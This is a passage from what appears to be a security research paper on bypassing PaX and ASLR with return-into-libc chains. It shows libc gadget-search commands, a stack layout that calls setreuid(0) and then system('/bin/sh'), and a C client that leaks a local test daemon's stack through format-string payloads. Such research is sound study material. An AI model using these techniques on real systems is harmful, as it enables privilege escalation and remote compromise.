|
|
|
|
For 'pop ret' sequence :
|
|
|
|
bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 1 | \
|
|
grep pop -A 1
|
|
|
|
(...)
|
|
2c519: 5a pop %edx
|
|
2c51a: c3 ret
|
|
(...)
|
|
|
|
For 'pop pop ret' sequence :
|
|
|
|
bash$ objdump -d --section='.text' /lib/libc.so.6 | grep ret -B 3 | \
|
|
grep pop -A 3 | grep -v leave
|
|
|
|
(...)
|
|
4ce25: 5e pop %esi
|
|
4ce26: 5f pop %edi
|
|
4ce27: c3 ret
|
|
(...)
|
|
|
|
Note: be careful and check if the addresses are contiguous for the
|
|
3 intructions because the regex I use it not perfect for this last
|
|
test .
|
|
|
|
Here is how you have to fill the stack in the final overflow (each case is
|
|
4 bytes lenght, the first dword is the return address of the vulnerable
|
|
function) :
|
|
|
|
0: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
|
|
16: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
|
|
32: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
|
|
48: | strcpy addr | 'pop; pop; ret' addr | strcpy argv1 | strcpy argv2 |
|
|
64: | setreuid addr | 'pop; ret' addr |setreuid argv1| system addr |
|
|
80: | exit addr | "/bin/sh" addr | ??? DONT ??? | ??? CARE ??? |
|
|
|
|
We need to overflow at least 84 bytes after the original return address .
|
|
This is not a problem . The 4 first return-into-strcpy are used to nullify
|
|
the setreuid argument, which has to be a 0x00000000 dword .
|
|
|
|
|
|
|
|
|
|
-------[ 4. Exploitation conditions
|
|
|
|
|
|
The attack suffers from many known limitations as you will see .
|
|
|
|
|
|
[a] Looking for exploitable stack based overflows
|
|
|
|
|
|
Not all overflows can be exploited like this . memcpy() and strncpy()
|
|
overflows are vulnerable, so as byte-per-byte overflows . Overflow
|
|
involving functions whoose behavior is to append a NUL byte are not
|
|
vulnerable, except if we can find a 'call printf' instruction
|
|
whoose absolute address low byte is NUL .
|
|
|
|
|
|
[b] Looking for leak functions
|
|
|
|
|
|
We can use printf() to leak information about the address space .
|
|
We can also return into send() or write() and take advantage of
|
|
the very good error handling code :
|
|
|
|
We will not crash the process if we try to read some unmapped process
|
|
area . From the send(3) manual page :
|
|
|
|
ERRORS
|
|
(...)
|
|
EBADF An invalid descriptor was specified.
|
|
|
|
ENOTSOCK The argument s is not a socket.
|
|
|
|
EFAULT An invalid user space address was specified for a parameter.
|
|
(...)
|
|
|
|
|
|
We may want to return-into-write or return-into-any_output_function if
|
|
there is no printf and no send somewhere near the original return
|
|
address, but depending on the output function, it would be quite hard
|
|
to perform the attack since we would have to control many of the vulnerable
|
|
function parameters .
|
|
|
|
|
|
[c] The frame pointer problem and workaround
|
|
|
|
|
|
The technique also suffers from the same limitation than klog's fp
|
|
overwriting [7] .
|
|
|
|
If the frame pointer register (%ebp) is used between the 'call printf' and
|
|
the 'call vuln_func', the program will crash and we wont be able
|
|
to call vuln_func() again . Programs like:
|
|
|
|
/* Non-buggy passwd based authentication */
|
|
int do_auth()
|
|
{
|
|
int len;
|
|
|
|
printf("Password: ");
|
|
fflush(stdout);
|
|
len = read(0, pass, sizeof(pass) - 1);
|
|
if (len <= 0)
|
|
FATAL("read");
|
|
pass[len] = 0;
|
|
if (!verify(pass))
|
|
(...)
|
|
|
|
are not exploitable using a return into libc because 'len' will be indexed
|
|
through %ebp after the read() returns . If the program is compiled without
|
|
frame pointer, such a limitation does not exist .
|
|
|
|
|
|
[d] Discussion about segvguard
|
|
|
|
|
|
Segvguard is a tool coded by Nergal described in his paper [3] . In
|
|
short, this tool can be used to forbid the executable relaunching if it
|
|
crashed too much times . If segvguard is used, we are definitely asked
|
|
to find the output function in the very near (+- 256 bytes) or the original
|
|
return address . If segvguard is not used, we can try a two byte EIP
|
|
overflow and brute force the 4 randomized bits in the high part of the
|
|
second overflowed byte . This way, we'll be able to return on a farer
|
|
'call printf' instruction, increasing our chances .
|
|
|
|
|
|
|
|
-------[ 5. The code : DHagainstpax
|
|
|
|
|
|
I would like to sincerely congratulate the PaX team because they own me
|
|
(who's the ingratefull pig ? ;) and because they've done the best work I
|
|
have ever seen in this field since Openwall . Thanks go to theowl, klog,
|
|
MaXX, Nergal, kalou and korty for discussions we had on this issue .
|
|
Special thanks go to devhell labs 0 : - ] Shoutouts to #fr people (dont
|
|
feed the troll) . May you all guyz pray for peace .
|
|
|
|
<++> DHagainstpax/leak.c !78040134
|
|
|
|
/*
|
|
*
|
|
* Info leak code against PaX + ASLR protection .
|
|
*
|
|
*/
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <signal.h>
|
|
|
|
#define FATAL(str) { perror(str); exit(-1); }
|
|
|
|
#define PORT_NUM 666
|
|
#define SERVER_IP "127.0.0.1"
|
|
|
|
#define BUF_SIZ 37
|
|
#define FMT "%%%03u$08u \x9a"
|
|
#define RETREIVED_STACKSIZE 20
|
|
|
|
|
|
u_int remote_stack[RETREIVED_STACKSIZE];
|
|
|
|
|
|
void sigint_handler(int sig)
|
|
{
|
|
printf("Starting remote stack retreiving ... ");
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
char buff[256];
|
|
struct sockaddr_in addr;
|
|
int sock;
|
|
int len;
|
|
u_int cnt;
|
|
u_char fmt[BUF_SIZ + 1];
|
|
|
|
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
|
|
FATAL("socket");
|
|
|
|
bzero(&addr, sizeof(addr));
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_port = htons(PORT_NUM);
|
|
addr.sin_addr.s_addr = inet_addr(SERVER_IP);
|
|
|
|
if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
|
|
FATAL("connect");
|
|
|
|
len = read(sock, buff, sizeof(buff) - 1);
|
|
buff[len] = 0;
|
|
printf("[RECEIVED FROM SERVER] *%s* \n", buff);
|
|
|
|
signal(SIGINT, sigint_handler);
|
|
printf("Connected! Press ^C to launch : ");
|
|
fflush(stdout);
|
|
pause();
|
|
|
|
for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt++)
|
|
{
|
|
snprintf(fmt, sizeof(fmt), FMT, cnt);
|
|
write(sock, fmt, BUF_SIZ);
|
|
len = read(sock, buff, sizeof(buff) - 1);
|
|
buff[len] = 0;
|
|
sscanf(buff, "%u", remote_stack + cnt);
|
|
}
|
|
|
|
printf("\n\nRemote stack : \n");
|
|
for (cnt = 0; cnt < RETREIVED_STACKSIZE; cnt += 4)
|
|
printf("%08X %08X %08X %08X \n",
|
|
remote_stack[cnt], remote_stack[cnt + 1],
|
|
remote_stack[cnt + 2], remote_stack[cnt + 3]);
|
|
puts("");
|
|
|
|
return (0);
|
|
}
|
|
|
|
<-->
|
|
|
|
<++> DHagainstpax/Makefile !d055b5f3
|
|
##
|
|
## Makefile for DHagainstpax
|
|
##
|
|
|
|
SRC1 = pax_daemon.c
|
|
OBJ1 = pax_daemon.o
|
|
NAM1 = paxtestd
|
|
SRC2 = leak.c
|
|
OBJ2 = leak.o
|
|
NAM2 = runit
|
|
CC = gcc
|
|
CFLAGS = -Wall -g3 #-fomit-frame-pointer
|
|
OPT = $(CFLAGS)
|
|
DUMP = objdump -d --section='.text'
|
|
DUMP2 = objdump --syms
|
|
GREP = grep
|
|
DUMPLOG = $(NAM1).asm
|
|
CHPAX = chpax -X
|
|
|
|
all : fclean leak vuln
|
|
|
|
vuln : $(OBJ1)
|
|
$(CC) $(OPT) $(OBJ1) -o $(NAM1)
|
|
@echo ""
|
|
$(CHPAX) $(NAM1)
|
|
$(DUMP) $(NAM1) > $(DUMPLOG)
|
|
@echo ""
|
|
@echo "Try to locate 'call printf' ;) 5th call above 'call verify'"
|
|
@echo ""
|
|
$(GREP) "_init\|verify" $(DUMPLOG) | $(GREP) 'call'
|
|
@echo ""
|
|
$(DUMP2) $(NAM1) | grep printf
|
|
@echo ""
|
|
|
|
leak : $(OBJ2)
|
|
$(CC) $(OPT) $(OBJ2) -o $(NAM2)
|
|
|
|
clean :
|
|
rm -f *.o *\# \#* *~
|
|
|
|
fclean : clean
|
|
rm -f $(NAM1) $(NAM2)
|
|
<-->
|
|
|
|
|
|
-------[ 6. References
|
|
|
|
[1] PaX homepage The PaX team
|
|
http://pageexec.virtualave.net
|
|
|
|
[2] The OpenWall project Solar Designer
|
|
http://openwall.com/linux/
|
|
|
|
[3] Advanced return-into-lib(c) exploits Nergal
|
|
http://phrack.org/show.php?p=58&a=4
|
|
|
|
[4] Pentium refefence manual 'system programming guide'
|
|
http://developer.intel.com/design/Pentium4/manuals/
|
|
|
|
[5] Bypassing stackguard and stackshield Kil3r/Bulba
|
|
http://phrack.org/show.php?p=56&a=5
|
|
|
|
[6] Writing alphanumeric shellcodes rix
|
|
http://phrack.org/show.php?p=57&a=15
|
|
|
|
[7] Frame pointer overwriting klog
|
|
http://phrack.org/show.php?p=55&a=8
|
|
|
|
[8] Exploiting format bugs scut
|
|
http://team-teso.net/articles/formatstring/
|
|
|
|
[9] The ELFsh project devhell labs
|
|
http://www.devhell.org/~mayhem/projects/elfsh/
|
|
|
|
|=[ EOF ]=---------------------------------------------------------------=|
|
|
|